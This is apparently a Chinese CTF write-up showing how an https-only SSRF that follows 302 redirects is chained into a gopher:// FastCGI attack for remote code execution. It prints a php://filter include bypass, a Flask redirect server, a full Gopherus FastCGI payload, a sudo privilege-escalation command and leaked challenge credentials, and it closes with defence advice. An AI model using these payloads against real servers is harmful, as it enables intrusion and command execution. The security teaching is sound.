从302跳转打到fastcgi
字数 1160 2025-08-22 18:37:15
从302跳转攻击FastCGI的技术分析与利用
1. 漏洞背景与概述
本文详细分析了一种通过302跳转实现FastCGI攻击的技术路径。该攻击结合了信息泄露、文件包含、SSRF和FastCGI协议漏洞,最终实现服务器权限提升。
2. 信息收集阶段
2.1 基础信息收集
- 后端技术识别:确认后端使用PHP
- 目录扫描发现关键文件:
admin.php- 存在302跳转到index.php,表明有session验证机制- 发现
.swp交换文件泄露(index.php.swp)
2.2 利用.swp文件恢复源代码
使用vim恢复.swp文件内容:
vim -r index.php.swp
恢复后获得关键信息:
- 用户凭证:
- admin: FetxRuFebAdm4nHace
- guest: MyF3iend
3. 初步渗透测试
3.1 使用guest账户登录
发现存在文件包含漏洞点,尝试:
- 包含
/etc/passwd- 成功 - 包含
/flag- 发现是假flag
3.2 文件包含技术
发现包含admin.php会跳转回index.php,说明:
- 使用
include函数包含文件 - PHP代码被解析执行
文件包含绕过技术:
使用二次编码的php filter读取文件内容:
php://filter/%25%36%33%25%36%66%25%36%65%25%37%32%25%36%35%25%37%32%25%37%34%25%32%65%25%36%32%25%36%31%25%37%33%25%36%35%25%33%36%25%33%34%25%32%64%25%36%35%25%36%65%25%36%33%25%36%66%25%36%34%25%36%35/resource=admin.php
获取admin.php源码:
<?php
session_start();
error_reporting(0);
if ($_SESSION['logged_in'] !== true || $_SESSION['username'] !== 'admin') {
$_SESSION['error'] = 'Please fill in the username and password';
header("Location: index.php");
exit();
}
$url = $_POST['url'];
$error_message = '';
$page_content = '';
if (isset($url)) {
if (!preg_match('/^https:\/\//', $url)) {
$error_message = 'Invalid URL, only https allowed';
} else {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$page_content = curl_exec($ch);
if ($page_content === false) {
$error_message = 'Failed to fetch the URL content';
}
curl_close($ch);
}
}
?>
4. 关键漏洞分析
4.1 SSRF漏洞
admin.php中存在SSRF漏洞:
- 接受POST参数
url - 限制必须以
https://开头 - 开启
CURLOPT_FOLLOWLOCATION,允许跟随302跳转
4.2 利用条件
需要满足:
- 以admin身份登录(已获取凭证)
- 构造302跳转从HTTPS到其他协议(如gopher)
5. 攻击链构建
5.1 搭建302跳转服务
使用Flask搭建本地跳转服务:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'http://[IP]/shell.php'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)
5.2 使用ngrok创建HTTPS代理
ngrok http 8080
5.3 FastCGI攻击载荷
使用Gopherus生成FastCGI攻击载荷,修改Flask跳转目标:
from flask import Flask, redirect
app = Flask(__name__)
@app.route('/')
def indexRedirect():
redirectUrl = 'gopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%01%04%04%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH58%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%17SCRIPT_FILENAME/var/www/html/admin.php%0D%01DOCUMENT_ROOT/%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3A%04%00%3C%3Fphp%20system%28%27whoami%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00'
return redirect(redirectUrl)
if __name__ == '__main__':
app.run('0.0.0.0', port=8080, debug=True)
6. 权限提升技术
6.1 通配符提权
利用cat命令的目录穿越特性:
sudo cat /tmp/whereflag/.root/flag
6.2 非预期解:filter链绕过
尽管出题人尝试防护,但仍可通过filter链绕过防护实现攻击。
7. 防御建议
-
Session验证强化:
- 使用更复杂的session验证机制
- 实现CSRF防护
-
文件包含防护:
- 禁用
allow_url_include - 严格限制包含的文件路径
- 禁用
-
SSRF防护:
- 限制curl跟随跳转
- 实现URL白名单机制
- 禁用危险协议(如gopher)
-
FastCGI安全配置:
- 限制FastCGI监听范围
- 实现访问控制
-
开发环境安全:
- 禁止.swp等临时文件泄露
- 使用版本控制系统而非临时文件
-
权限控制:
- 最小权限原则
- 限制sudo命令使用